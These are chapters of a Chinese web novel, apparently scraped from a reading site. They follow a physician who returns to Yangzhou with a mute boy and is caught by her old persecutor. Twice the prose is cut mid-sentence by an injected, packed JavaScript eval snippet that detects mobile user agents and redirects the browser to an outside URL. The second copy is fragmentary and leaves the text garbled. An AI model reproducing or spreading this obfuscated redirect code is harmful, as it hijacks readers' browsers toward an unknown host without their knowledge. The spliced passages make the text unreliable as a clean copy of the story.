翌日,和北地五年间任何一日的寻常清早,姜昙背着药箱和包袱,在紫珠的送别下离开了。 她打算往前走一小段,绕过山坡有一个小道,从那里折返离开。 然而半途出了点意外: “姨娘——” 小羊儿在山坡上大喊:“我娘肚子疼,快来救命啊!” 姜昙骑马往那边赶。 罗三娘昨夜搬行李时扭到了腰,半夜腹痛出血。 她觉得自己没事,休息一会儿就好了,然而第二天一眼,肚子又疼了起来,血出得更多了。 姜昙诊脉,发现她胎像不稳,忍不住斥道:“先前不是与你说过不要大意,次次我来都耳提面命,忘到羊肚子里去了吗!” 罗三娘脸色惨白,却还是忍不住笑:“姜大夫竟然还会说笑话……” 姜昙无言以对,没好气地扎了一针。 胎像不稳,必须保胎。 姜昙支起瓦罐,给罗三娘熬药。 忽然,毡帐外传来一阵马蹄声。罗三娘猛然坐起来,却扯到腰间,痛得惊呼。 “姜大夫,快点走!草原上的盗贼又来了,我连夜收拾行李就是为这个,方才忘了与你说……” 这也能忘?! 姜昙匆匆往毡帐外看一眼,连忙扶着罗三娘起来,见她还要收拾行李。 姜昙这次是真的生气了:“都什么时候了还要拿东西!” 罗三娘说:“那是老羊的命根子。” 罗三娘不能骑马,姜昙索性把马让给小羊儿,指了个方向让他们走。 小羊儿还想留下,被乌日塔的小红马一踢,被迫往前跑了。 他们离开后,姜昙搀扶着罗三娘往山坡后走,她知道那里有一个洞可以躲起来。 姜昙心有疑虑。 大昭的守军彻底追击过盗贼一次,直捣巢穴,应该不会这么快集结,怎么还会有? 不过草原上的盗贼只劫掠牛羊钱财,来去一阵风,只要等他们过去就好。 姜昙静静地等着,但身旁的罗三娘经过方才那一番折腾,腹下又涌出了血。 罗三娘疼得吸气。 方才煎的药没来得及服,现下应在毡帐门口放着。姜昙咬牙说:“再忍一小会儿。” 叽里咕噜的胡语在外面响起。 口音太重,姜昙听不懂,罗三娘脸色一变:“他们怀疑里面有粮食,要进来看!” 姜昙深吸一口气,将罗三娘埋进木柴堆里,手握柴刀:“平日我与你说过不少保胎的知识,你肯定能想起来。我先离开一阵,照顾好自己!” 罗三娘在身后小声叫她。 姜昙三脚猫的功夫,来到北地后又练过,虽然效果一般,但应该能抵挡一阵。 她慢慢向外走去。 心中不禁感叹,今天真不是个好日子。 外面的胡语声越发清晰,姜昙的心高高提起来。她努力分辨那两人说的什么,忽然听到两声惨叫。 出什么事了? 姜昙轻声打开地洞,映入眼帘的是两具浑身红点的尸体,胸口微微起伏。 没有行动能力,应该还活着。 这时,起伏的胸口插入一把匕首,其中一人连惨叫声都未发出,脖子一歪,已然死去。 姜昙觉得浑身的血都凉了:“阿年,你在做什么?” 乌日塔转过头来,稚嫩的脸上是飞溅的血珠,看起来无辜又天真。 他那双黑漆漆的眼中总是平静如深潭,此刻姜昙竟能从中看出惊诧。 他没想到会被姜昙看见。 85. 第 85 章 陆青檐自然是不可能亲自来的。 然而军中有一个他的亲信,此时因为打了胜仗,正在大帐里与士兵喝酒说笑。 那些盗贼虽是北漠人的面孔,但必定与陈兴平有勾结。 否则,军中不可能如此平静。 姜昙从酒坛里拿出自己的药箱,清理着陆昇背后伤口的污血。 陆昇却摇头:“不用管。请你过来,是预防其他情况,眼下看你的反应,倒是多余担心了。” “什么情况?” “听京城的朋友说,他的手下近几年尤爱在箭端抹毒药,初时不显药力,一旦开始拔箭,鲜血必定止不住,什么止血的药都不管用。毒就在此刻发作,瞬息之间夺人性命。” 陆昇趴在床上,拿过一旁的布巾:“陆庸最擅长搞一些稀奇古怪的毒药,杀人也不给个痛快。现在看来,我这位长兄对我倒不错,暂时没有置我于死地的念头。” 陆庸确实于此道有“天赋”。 不到十六岁,他就能集结一帮老道将前朝药方做出改动。 一晌贪欢,魑魅魍魉。 既是致幻的毒药,也是惑人心智的情药。 陆昇示意姜昙离远一些,对周胜和另外一位亲信说:“准备拔箭。” “我来吧。” 见陆昇诧异地看着自己,姜昙解释说:“我是大夫,医治过这样的伤处。他们手重,不如我仔细。” 陆昇点了点头。 周胜两人让开位置,分在两侧,将陆昇按住,防止他挣扎。 姜昙手握在断箭上,箭上有血,竟让手心有些打滑。她用布巾擦干净血,再次握上去。 陆昇浑身一颤。 “我要使力了,三……” 数到三时,姜昙同时使劲,箭中倒刺划破血肉,受到阻力。 姜昙咬牙,再次加重力气。 “姜姑娘……” 陆昇口中的布巾竟掉了,这个时候,他还有什么要交代的? 姜昙低了低头:“你说,我正好歇一会儿。” 陆昇信以为真:“我……” 姜昙猛一用力,将箭拔了出来。 陆昇额头青筋毕现,手掌握在床边上,臂上的肌肉凸起来。 他最后看她一眼,晕了过去。 周胜连忙去查探陆昇的呼吸,发现他无事后,瘫坐在床边。 他埋怨地说:“你可真是的……若要使力,先跟人说一声,数到三就提前,哪有你这样的?” 最重要的是,连陆大哥都被她骗到了。 伤口撕裂开来,需要缝合。 姜昙看了一眼,下床找了一坛酒,往碗里倒了一半。 周胜看着姜昙往里加了药粉,问:“这是什么?” “麻沸散,可止痛。喂他喝下去。” 周胜给陆昇喂下去,后知后觉地质问:“有这东西,你为什么不早说?” 姜昙随口应道:“忘了。” 忘了?这种事也能忘了?陆大哥都疼晕过去了! 周胜一瞬间怀疑起姜昙的医术来,他在想百姓对姜昙的赞誉是不是夸大了。 姜昙将另一半酒倒在布巾上,清理血肉模糊的伤处。 除了箭伤,陆昇后背还有一道刀伤,正好与箭伤重合。 内里的伤处好的慢,若是外面都愈合了,反倒不妙了。 所以必须缝合伤口。 清理好伤口,姜昙将又用酒洗过针线,动手了。 忙活了大半夜,姜昙才彻底有空休息。 陆昇不知何时醒了过来,却并未说话。麻沸散的药力并未过去,按理说他此时应该是不痛的。 姜昙忙活完走过去,发现他在看地上的影子。 她将药箱收拾好,留下一张药方准备出去,陆昇叫住她:“姜姑娘……方才我以为,我要死了。” “你方才想说遗言?” 说遗言的时刻,全身紧绷的血肉放松下来,更有利于拔箭。 他方才在想生死,她想的却是这个。 陆昇说:“我打算回扬州去,你要不要同我一起?” 与陆昇一起回扬州?他们并无关系,为何要跟他回扬州? 陆昇解释说:“陈兴平原本就对你有不轨之心,如今执着于你,亦不乏我的缘故。我离开后,他不会放过你。更何况,你不是也有意离开此地吗?” 他竟看出来了。 姜昙转身看他。 陆昇笑了笑:“姜姑娘的行动实在迅速,我与你见面是前一日的事,没想到第二日你就准备离开了。若不是此番受伤,或许连你的面也难再见。” 姜昙问:“你要阻止我吗?” 毕竟前一日,陆昇还细细地分析朝堂形势,想要说服她一起对抗陆青檐。 陆昇摇头:“合作之事,你情我愿。你若不愿意,有千百种办法阳奉阴违,强迫你也无用。” 姜昙此刻才认识他。 陆昇此人,与陆青檐很不一样。 “那你为什么非要我回扬州?” “不是要求,而是建议。” 陆昇说:“北漠接下来几年不会太平,你不能在这里待,只能往南走。江南诸府,扬州是最安定的,且水、陆两条路各自发达。若你有意南下,或是往东到海上去,都很方便。” 说到此处,陆昇看了姜昙一眼:“我并非有意冒犯,只是听周胜说过一句。令郎……似乎到了上学的年纪。” . 姜昙又回到了紫珠的家里。 看到姜昙回来,紫珠连忙迎上来:“三娘喝了药,已经睡下了。” 姜昙说:“那边没事,周胜晌午会过来,快休息吧。” 紫珠摇头。 她指了指屋内:“阿年担心得一夜没睡,非要等你回来不可。” 门边乌日塔正站着,沉默地看过来。 反常至极,他并没有站多久,只看了一眼就进去了,不似先前撒手不放的模样。 姜昙脑中纷乱,没心思想太多。 她去看了看罗三娘,小羊儿正趴在她的床边。 姜昙发现一切稳妥,为罗三娘盖好被子就离开了。 虽然一夜未睡,但姜昙睡不着。 她将从汤慎墓穴得到的纸页拿出来,翻来覆去地看。 外面天快大亮。 紫珠披衣进来,并不劝她。只是坐在姜昙身边一起看,看至一半,忽然指着纸页上的一个字: “姑娘,这是不是念‘刘’?” 姜昙说:“先前怎么教你也不肯,怎么会认得?” 紫珠脸色微红:“周胜识字,周蝉衣也识字,总不能教他们看轻了我。” 不管怎么样,总归有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517132|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了学的兴趣,这是一个好开始。 “还有认得的吗?” 紫珠点头,指着不远处的另一个字:“青,和夫人的名字是一个意思。” 姜昙的娘亲姓刘,刘碧娘。 刘仲青,刘碧娘……她先前怎么没发现呢? 同姓刘,名字也取得近。 姐姐碧娘,弟弟仲青。 刘仲青分明就是母亲的兄弟,连名字的含义都如此相似,他就是她的舅舅! 他并不是可怜她,他们本来就是同出一脉的亲人! 姜昙哑然失笑:“原来如此,我就知道是这样!” 若非无缘无故,脾气不好的刘仲青怎么可能会事无巨细地一一教她?就连看到她的耳洞,都要她用蜡油堵住。 她还记得他严厉的面孔:“做一个大丈夫,就忘记你女子的身份,一言一行时刻注意!痛了若敢流一滴眼泪,本官就揭了你的皮!” 紫珠吓了一跳:“什么?” “谢谢你,紫珠!”姜昙用力地抱了抱她:“我们不是孤单的,我们有亲人了。” 尽管他已经死了。 . 翌日,罗三娘醒过来。 只休息了一个时辰,她就收拾包袱要离开:“我要去找老羊,小牛儿也在那呢。” 姜昙虽然不知道内情,可也猜到了几分:“我听说北漠那边正在招募士兵,凡符合年龄者都要入军。你是大昭的百姓,若是踏入北漠的国土,可想好该怎么办了?” 小羊儿,小牛儿有北漠的血脉,尚可被北漠承认。 而罗三娘是地地道道的中原人,一旦北漠和大昭开战,两国交恶,百姓的关系也势同水火。 到那时候,成为北漠士兵的老羊又会怎么对待罗三娘呢? 罗三娘摇摇头:“别的我不管。老羊既然想和我在一起,我也答应和他在一起,就要对他负责。如果他不愿意,那我就把他劫走!到一个容得下我们的地方去!” 未嫁之前,罗三娘是商队里护镖的武娘子。 威风凛凛,英姿飒爽。 姜昙摸了摸小羊儿的脑袋:“那我送你走。” “不用了,以后或许见不到了,想想怪让人伤心的。” 罗三娘取出一个平安符,挂到乌日塔的脖子上,低头在他耳边说了什么。 乌日塔第一次没有躲,反而朝罗三娘贴得近了一些。 罗三娘与姜昙告别,临走前着重说了一句:“姜大夫,虽然不知道你有什么心结,但这么一个小东西,总是眼巴巴地羡慕你抱别的孩子,看着怪可怜的。以后多抱抱乌日塔那顺吧。” 姜昙低头,乌日塔正看过来。 他的眼神变得大不一样。 从前是没有情绪的平静,如今像是太阳照耀过的湖面,折射出暖暖的微光。 姜昙问罗三娘:“你和他说了什么?” 罗三娘说:“秘密。” 罗三娘走后,陆昇那边递来消息,他也要准备离开了。 姜昙想了整整一日,最终回复他:“我和你一起回扬州。” 扬州的姚知府早已病倒,一应之事由他的儿子姚进暂代。此举不合规矩,可是背有靠山,无人敢置疑。 从五年前,姚进就惟一人马首是瞻。 尽管远在京城,然而如今的扬州,是陆青檐的天下。 86. 第 86 章 又过两日,姜昙跟着陆昇到了扬州。 临别前,陆昇将山大王的名号还给那群小喽啰,给他们安排了去处,并责令他们从今往后不许再劫道。 接着,他就像鱼入大海般,没了踪迹。姜昙看到他接到一封信,应是有急事要办。 姜昙拿着他的玉佩,来到了陆府。 她戴着遮面的斗笠,守门的小厮认得陆昇的玉佩,放她从后门进了陆府。 陆府还是昔日的模样。 姜昙静悄悄地入府,陆昇身边的小厮早已等候多时。 看到她抱着一个孩子,小厮什么都没有问,只是安排房间更妥帖了些。 屋里甚至摆着小童的玩具,像是很多年之前的旧物。 推开窗户,外面种着翠竹,有两个婢女在外院踢毽子,欢声笑语传过来。 姜昙将乌日塔放下来,他立刻睁开眼睛。 姜昙摸了摸他的发辫,说:“我不走,一起睡。” 她回忆着娘亲的模样,给乌日塔讲故事。因为时间太久记不清楚,故事讲得十分糟糕,然而乌日塔很留情面,沉沉睡了过去。 不知不觉,姜昙也眯了一觉。 再次醒来时,外面天已黑了。 姜昙听到陆昇的小厮喜安在外面敲门:“姑娘,醒了吗?” “什么事?” 喜安急得说:“您知道大公子在哪吗?老夫人不行了!” 姜昙躲在外间,趁大夫拨开人群时看了陆母一眼,她一脸倦意,暮色沉沉。 大夫诊脉良久,摇头。 屋子里不知谁先起了头,最终散开一阵啜泣声。 陆母缠绵病榻五年有余,病情反反复复,终于要走到尽头了。 大夫人红着眼睛问喜安:“岁锦呢?他还有几日回来?” 提前回来之事,陆府众人并不知道。 喜安虽知道内情,却选择瞒着:“大公子刚从边陲走,才过七日,还得几日走呢。” 陆母闭着眼睛,嘴唇微张,汲取着人世最后的气息。 大夫人满面哀戚:“昇儿啊昇儿,你若再不回来,连你祖母的最后一面都见不到了……” 门外忽然传来一阵不同寻常的脚步声。 姜昙听清其中细微的动静,连忙隐入人群中,丢下头去。 “姚公子到——” 姚卓喜气洋洋地进来,对大夫人扬声说:“婶娘哭什么?这是喜丧,你们该笑才对。” 说着,他对身后的人挥手:“来来来,吹打起来。” 唢呐声和敲锣打鼓声热热闹闹地传了进来,惊得陆母眼皮一颤。 大夫人指着姚卓:“你个孽畜!” 她抓起手边的花瓶,不顾形象地追着姚卓打。姚卓身后一群人跟着,愣是没一个人敢上来劝。 他们终究顾忌着陆昇。 屋子里乱成了一锅粥,里间陆母的跟前反倒无人过问。 姜昙摸着腰间的药囊。 治病从来是对症下药。然而人之将死,医术无能为力。她手里有一颗草原上的灵丹妙药,不知能拖多少时候。 陆昇为人不错,帮她很多。 姜昙也想帮他一次,至少尽力让陆母坚持住见他最后一面。 犹豫一瞬,姜昙还是往里间陆母的床前挤。 然而临到近前,她看到了一个长发披散的人影,正坐在床边和陆母低声说话。 那人背对自己,姜昙这个视角,只能看到陆母的面容。 她专注地看着床边的人,抖着嘴唇,半晌唤道:“昇儿……” 陆母的手颤巍巍抬起来,握住了床边之人的手。 竟然是陆昇。 姜昙心道:陆昇何时回来的,仪容散乱,是经历了什么事? 陆昇抬起手,任由陆母的手无力地落下去。 他叫了一声:“祖母。” 不是陆昇! “最后陪在你身边的人是我,阿庸。”他低声宽慰道:“你安心走吧。” 是陆庸,陆青檐! 姜昙连连后退,脚跟碰到桌腿,碰得上面的茶盏一阵晃动。 陆青檐回头,看到乱成一团的外面,并没有发现异常。 于是重新低头,拨弄起手掌中的念珠:“我为祖母念弥陀经。” 他将一只手掌盖住陆母上半张脸,阖上她的眼皮。 陆母干裂的嘴唇一张一合,像是濒临窒息的鱼。 二更天时,陆老夫人仙逝。 姚卓找了一群和尚进陆府来,坐在外面念诵经文。 大夫人累得气喘吁吁,却拿姚卓毫无办法。 只是一转头,看见和尚前立着的人影,她又厉声尖叫起来: “是你!原来是你,我说这个孽畜这么大胆,原来是有你这个小畜生帮他作乱!” 手边即是香炉,大夫人抓起来就要扔出去,却被左右的婢女抓住了手臂。 大夫人不可置信,这可是素日伺候她的婢女,怎么敢阻拦她! 姚卓笑嘻嘻地说:“婶娘,有钱能使鬼推磨呐!” 大夫人气得浑身发抖。 不远处那道可恨的身影,此时竟和底下的和尚一样,满目慈悲地看着自己:“大夫人,你着相了。” 分明是恶鬼,还要装菩萨! 大夫人又犯病了,哈哈大笑起来。 姚卓看了看陆青檐的脸色,见势不妙,对两个婢女示意:“把她关起来。” 陆府的下人们全都站在院子里。 姚卓扬声问:“大公子院里的人呢?都站到前面来。” 喜安看了一眼姜昙,和其余人站到前面去。 姚卓的眼珠在人群中转过一圈:“就这些了?都站出来了吗?” 姜昙的心高高提起来。 除了喜安和门房,陆府的下人应该没有认识她的。 姚卓只是随口一问,随后殷勤地到坐在的那人面前说:“长公子,都在这了,想问什么,问哪个,小的代劳。” 陆青檐摆手,姚卓听话地站到他身后。 “近身伺候的是哪个?” 喜安站到最前面。 陆青檐打量他一眼,说:“你也看到了,大夫人脑子不清醒。我怀疑又不干净的东西占了她的身体,所以要带走她,见几个德高望重的法师。待昇帝回来,你告诉他一声。” 喜安听懂他的意思,嗓音颤抖着:“……是。” 陆青檐起身来,姚卓慌忙跟着:“这几日就住姚府,住处都给您安排好了。” 陆青檐说:“一切从简,这几日备斋饭即可。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14533779|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姚卓转头就吩咐下人:“山上的斋饭,每天一早做好了给长公子送去。务必保证跟刚出锅一样!” 陆青檐走在前面,并未听到。 他从人群中走出去,下人们弯腰让出一条路。走到末尾,腿边撞到一个树桩子。 陆青檐低头一看,不是树桩子,而是一个孩子,还不到他腰际。 撑圆了的眼睛像是深海的黑珍珠,被渔民挖出来重见天日的那一刻,泛着晶莹的光。 . 姜昙刚松一口气,忽然想起来,自己出来得太久。 出来前她将乌日塔放在床上,给他留了几块糕点,但却忘记告诉他自己的去向。 她以为自己很快会回去。 刚这么想着,就听到人群的末尾传来一句:“你是谁家的孩子?” 陆青檐的声音! 姜昙回头看去,那是一副能让她发疯的画面。 陆青檐弯腰看着乌日塔,两人静静对视,毫不避讳地互相审视。 这个孩子很有意思,竟不怕他。 陆青檐直起身,往人群中看了看:“哪个院里的?” 姚卓闻着味追过来:“哪个院里的,快出来领!若不回话,别怪我不客气!” 片刻后,喜安从前头走过来:“庸少爷,这是奴才的子侄,原本想让他来见见世面,不想冲撞了您。奴才罪该万死!” 姚卓眯眼看他:“原来是昇少爷院里的,怎么那么久不回话?” 喜安磕了个头:“奴才害怕。” 陆青檐并没有说话。 许久之后,他让喜安抬起头来。 陆青檐又端详那孩子的长相,摇头:“不是你的子侄。” “敢在长公子面前撒谎!” 姚卓眉毛一竖,抬脚就要踹人,被陆青檐拦住:“子进,不要那么粗鲁。” 随后说:“你说实话,我不会怪你。” 喜安犹犹豫豫地开口:“是昇少爷的儿子。” “哈,陆昇连媳妇儿都没讨,这就有儿子了!”姚进极为兴奋:“这孩子看起来有五岁了吧,私生子!平日那么古板的一个人,看不出来哇。私下里玩得挺开啊!” 陆青檐其实看不出来。 然而眼前这个小厮的态度倒有些像真的。 难以置信,陆昇竟然干的出来这种事。 无媒苟合,私生子都这么大了。 陆青檐说:“我是你伯父。” 乌日塔看着他不说话。 姚卓看了半晌:“长公子,这是个哑巴。” 陆青檐笑了笑,将袖中骨珠送给乌日塔:“可怜的侄儿,这是见面礼。” 一行人离去后,姜昙劫后余生地将乌日塔抱在怀里,随后向喜安道谢。 喜安是个聪明人,他知道如何伪装才能骗过陆青檐,可也仅仅是暂时之用。 他摇摇头说:“若大公子再不回来,府里就撑不住了。” 第二日,陆昇依旧没有消息。 陆府里铺天盖地的白色,所有人皆一身孝服。 姚卓不知道从哪里请来的人留在陆府,装模作样地哭了一天。 与此同时,陆府外墙及几个小门入口处,多了许多官兵,将陆府重重包围起来。 姜昙被关在了陆府。 87. 第 87 章 外面的正是姚卓。 陆青檐在外的手段令人闻风丧胆,可偏偏对陆家的人软了三分。就连这个早就出嫁的表妹,也一让再让。 然而他是舒坦了,姚卓却不舒坦,毕竟受苦的可是他啊。 一旦得到允许,姚卓就迫不及待地追过来。 沈芳茵对姜昙使了个眼色,随后掀开车帘一角,讥讽地笑:“我去哪里,连我庸表兄都不过问,你又有什么资格来问?” 姚卓不与她客气:“就是你庸表兄下令让我来的,你尽管去告状,拿下!” 一声令下,车夫被官兵按在地上,车帘被掀开,官兵扯着车里的婢女拉下来,不给人任何躲藏的机会。 姜昙只来得及遮住乌日塔的眼睛。 沈芳茵气得浑身颤抖,却还是挡住了姜昙两人:“我可能要有负大表兄所托了,姜妙仪,你千万等到我们来救你。” 陆昇帮她到如此地步,姜昙已经很感激了。当初谁也想不到,陆青檐竟会来扬州,恰在此处遇见,可见该来的总是逃不掉。 “谢谢你,茵表妹。” 姜昙抱着乌日塔下了马车。 姚卓眼冒金光:“果然有两个人!弟妹,你还没见过你的长兄吧,带上孩子一起去我府上玩玩?” 姜昙看向地上两个瑟瑟发抖的婢女,姚卓立刻会意:“放心,我不动她们。” 姚家的马车停在巷口,姜昙抱着乌日塔往马车上走去。 经过姚卓身边时,他忽然伸手抓掉了姜昙的面纱,看清她的长相,一阵嫌恶。 姜昙看过来。 姚卓立时嬉皮笑脸:“不小心,不小心。面纱还给你,弟妹还是戴着吧。” 陆昇怎么带回来一个这么丑的女人,扬州这么多美女,难道是看得腻了,偏偏喜欢丑的? 姜昙坐上马车,乌日塔睁开眼睛。姜昙低声问:“还不舒服吗?” 乌日塔摇摇头,又点点头。 最后双手搂紧姜昙的脖颈,不肯撒开。 自从到了扬州,乌日塔就精神恹恹,连路也走不动。 姜昙诊脉诊不出什么,暂且归因为他不适应中原,水土不服。 大概过一段时间就好了。 以前是她亏欠他,多宠一些也是应当的。 约莫两刻钟后,马车停了下来,姚卓亲自掀开车帘:“弟妹,到了。” 姜昙以为她会见到陆青檐,可见到的却是大夫人。 大夫人被关在佛堂内,面容略有些憔悴。 姚卓推开门时,一个蒲团丢过来,他不痛不痒地抖着袖上灰尘:“婶娘,你儿媳妇和孙子来啦!岁锦平日看着一个挺正经的人,不吭声给你弄出这么大一个孙子,高兴不?” 佛堂的门被关上,姚卓在外面哈哈大笑。 大夫人愣了许久才反应过来,警惕地看着姜昙:“你是?” 随即又看到姜昙怀里的乌日塔,黑漆漆的眼珠子扫过她,重新趴回姜昙肩上。 姜昙低头见礼:“大夫人,我是姜昙,姜妙仪。德庆十年的夏日,我在府里给老祖宗贺过寿。” 大夫人半晌才想起来:“哦,是你,你与昇儿……” “大公子光风霁月,于我有照拂之恩,并不是姚卓所说那样。” 大夫人想也是,自己的儿子循规蹈矩,怎么会做出这样荒唐的事。 她坐回蒲团上,不知怎么有些失望。 五年前就开始给陆昇择亲,折腾了一番下来,连陆昌那个结巴都成亲了,陆昇还一个人单着。原本以为他将沈芳茵留在身边是喜欢她,没想到只过了一年他就将人嫁出去了。 她这个做娘的,从很久以前就搞不懂儿子的想法了。 陆昇万事主意大,不让她操心,偏生这件事执拗得很。 两人彼此无言。 怀中的乌日塔困倦不已,小手无力脱落,身体也往下掉。姜昙往上托了托,大夫人忽然开口:“你那样抱,受累得很。” 遵照大夫人的指点,姜昙换了个姿势,果然省力不少。 此时夜已深了。 姜昙跟着打盹,大夫人忽然又说:“夜里凉,你也不知道给孩子挡一挡。” 姜昙迷迷糊糊睁开眼,四下里也没有可以御寒之物。 大夫人不知从哪拿出来一件披风,递给姜昙。姜昙艰难地腾出手去接,大夫人看不过去,直接将披风盖在乌日塔身上,严严实实。 “这是你的孩子吗?你这娘做的极不用心。”大夫人愤愤说:“若不是这孩子一刻不停地抓着你的衣领,我险些以为是你从哪偷的。” 姜昙确实理亏:“是我的错。” “嘴上说错有什么用,你倒是真认识到自己错在哪了?这孩子看着是个聪明的,知道你心有愧疚,所以装可见讨你疼,可见是你亏欠他狠了。” 说着,大夫人狐疑看姜昙一眼:“你该不会扔过他吧?” 姜昙连忙摇头。 随后又问:“您是怎么看出来的?” 大夫人得意地说:“那当然,昇儿小时候装过许多次,谁家做娘的都看得出来。” 姜昙这才明白乌日塔精神恹恹的原因。 她没有解释地冷了这孩子五年,一朝被人点醒开始爱他,却不知如何爱他。 乌日塔察觉她的变化,于是一刻不停地黏着她,他太没有安全感了。 姜昙心中一角塌下去,摸了摸乌日塔的小辫子。 后半夜,大夫人似是想起陆昇,又变成浑身硬壳的模样,冷漠地坐在一边。 第二日一早,佛堂门被打开。 姚卓喜气洋洋地说:“弟妹,婶娘,陆昇回来了。不过他先去了陆家,料想稍后就过来。长公子让我请你们共用斋饭。” 斋饭不过是青菜豆腐,还有一小碟豆豉,一碗米粥。 端到面前时还冒着腾腾的热气。 然而如此简单的斋饭,却是每日一早就由山上的和尚做好,放置食盒内,一路上几人接力送到姚府。 端到食案上时,要最适宜入口的温度。 若是府里贵人想晚些吃,那么山上就得不停地做和送,直到贵人吃上饭为止。 如此一来回,每日至少花费两个时辰。 也就是说,要保证他们现在刚好吃上送至府里的斋饭,佛寺的和尚需得从夜半开始做饭。 这斋饭可谓奢侈。 姜昙将筷子搁下,这饭她吃不下去。 姚卓也吃不下去,青菜豆腐的滋味实在寡淡,即使配上豆豉也是带着苦涩的咸味。 真不知道做和尚有什么意思,这陆青檐近几年越发奇怪,心平气和,出行低调,突然看破红尘了一样。 念珠不留手,动不动就读佛经,只差剃度了。 不过看见他时,总是披散着头发,倒也有那么点带发修行的意思。 姚卓慢吞吞地嚼着,瞥见陆青檐已快用完了。 不过他用饭的顺序十分奇怪,先吃青菜,后吃豆腐,接着吃齁咸的豆豉,最后喝薄粥。 姿态不像是吃早饭,更像是完成任务。这样一定更难吃,亏他能咽得下去! 哎,没滋味。 这时,门口的下人过来耳语。姚卓一听乐了,有趣的终于来了。 姚卓挤眉弄眼:“长公子,待会儿陆昇就来了,小的有一个好主意!” 陆青檐擦拭唇角,边看过来。 “陆昇的女人长得极丑,脸上还有一道疤,难看得很。而且我发现,他那儿子不会说话,好像是个哑巴!” 姚卓眼中十分兴奋:“都说陆昇是个君子,不知道他更想要他的丑女人和哑巴儿子,还是要他亲娘。” 陆青檐短促地笑了一下:“随你。” . 饭刚撤下去,就有人通知姜昙:“大公子来了。” 姚家的下人推搡着姜昙和大夫人出去,陆昇就站在院子里。 姜昙弄不明白这是要做什么,让陆昇选人吗?那自然是选大夫人。 很快,她就知道姚卓想干什么了。 背后忽然有两个身强体壮的婆子压上来,乌日塔被她们夺走了! “还——” 嘴巴也被堵住了。 姜昙说不出话来,只能看着乌日塔被带到姚卓面前。 陆昇和姜昙对视一眼,对姚卓说:“姚公子,有什么事尽管往我身上招呼,为难女人和孩子没什么意思,是不是?” 姚卓笑嘻嘻的:“大公子,你的女人孩子,和你的母亲,只能带走一边。不过我知道你是个孝子,替你选好了。” 说着,他让人把大夫人放出来,推到陆昇身边。 大夫人叫他:“昇儿。” 陆昇将大夫人护至身后,眼神仍不离姜昙:“你想要什么都可以。” “这就没意思了。” 姚卓笑得更欢了:“这女人长得丑,这孩子也满头小辫,一身胡人打扮,是你的种吗?更何况他还是个哑巴,你不如找个更漂亮的女人,再生一个好儿子。” 乌日塔咬了姚卓一口。 “你这小畜生!” 姚卓将他揪得离地,恶狠狠地盯着他:“你是真不会说话,还是假不会说话?死前可会叫唤一声?” 他侧头笑说:“大公子,你这孩子不会说话,我倒有个偏方替他治一治。” 说着,他把手中的刀搁在乌日塔稚嫩的肩头,往下压了压:“小崽子,叫一声大爷,我就放了你,怎么样?” 乌日塔沉默地盯着他。 这小崽子不怕他。 陆昇说:“姚公子,筹码丢了,拿什么跟我做生意?” 姚卓咧嘴笑了笑,往侧面看了一眼,那里不远处坐着一个人。 面对如此热闹的场面,他一直不曾开口点评什么。 陆昇扬眉而笑:“长兄,弟弟先前得罪了你,还请高抬贵手,原谅我吧。” 说着他撩起衣摆,要跪下去。 姜昙再也忍不下去了,像个疯婆子一样挣扎,大喊道:“陆庸!” 一声大喊过后,姜昙全身的温度从心口流泻而去,最后变得浑身冰凉。 重回扬州之后,水土不服的不止有乌日塔,还有她自己。看似无事,实则浑身的神经都已紧绷。 陆青檐手眼通天。 从他手中逃出去一次已是侥幸,绝不可能有第二次。 被他发现是迟早的事,姜昙这些年不止一次地预想,如果再次落入他手中,会被他如何剥皮拆骨。 故而来到姚家时,刀尖已悬在头顶,躁动不安的心脏反而变得平静。 已经这样了,无所谓他再用什么手段对待她。 可是偏偏,被凌迟的不是自己。 而是她刚决心好好爱护的乌日塔,和对她屡次施以援手的陆昇。 她做好了被陆昇道破身份的准备,他却没有这么做,而是放下尊严笑盈盈地下跪。 这样的好人,凭什么这么被折辱呢? 折辱过后会如何,被杀掉吗? 姜昙总算想明白,为什么陆青檐没有在箭上抹毒,就是打着猫捉老鼠的心思。 玩够了,再杀掉。 他一贯是这样“料理”人的。 谁是第一个呢? 被陆青檐逼到无处可退,只能在他面前苦苦求饶。 是施茂林吗? 被打断双腿,在船上靠捕鱼过活。寒冬腊月摔到溪水里,因为站不起来,生生溺死。被发现时,已肿胀得辨认不出样子。 还是汤慎? 浑身上下的骨头全被敲碎,生不如死地躺在床上,活活等死。在扬州的那段时日,正在与自己谈笑风生的陆青檐,暗地里是否同时将汤慎折磨得奄奄一息。 谁又是最后一个呢? 是陆昇吗?还是已经暴露在陆青檐眼前的自己,或是被人拿刀架在脖颈上的乌日塔。 母子二人,谁会先死在陆青檐的手下呢。 阳春三月,头顶日光耀眼,看不清高处坐着那个人影。 姜昙理了理衣服,向前走了几步,来到姚卓面前。 “陆大人,我来跪你。” 接着提衣,朝那道身影跪下。 . 陈兴平和他的妹妹不一样。 他是个忠心的手下,虽然粗鲁愚笨,但胜在听话,万事禀报。 除了陆昇来往人员、所做之事外,就连缝补一件旧衣这样的小事,他也会仔细记下来。 因此,路遇蛮女这件事,自然也被他记下送了过来。 其实就算不报上来,也很好猜不是吗? 这么多年没有踪迹,除了那里,又能跑到哪儿去呢? 陆青檐低头看了看自己的手,掌上一串木珠,因被盘弄多年,已有裂开的痕迹。摊开衣袖,也是反复濯洗过而生出的毛边。 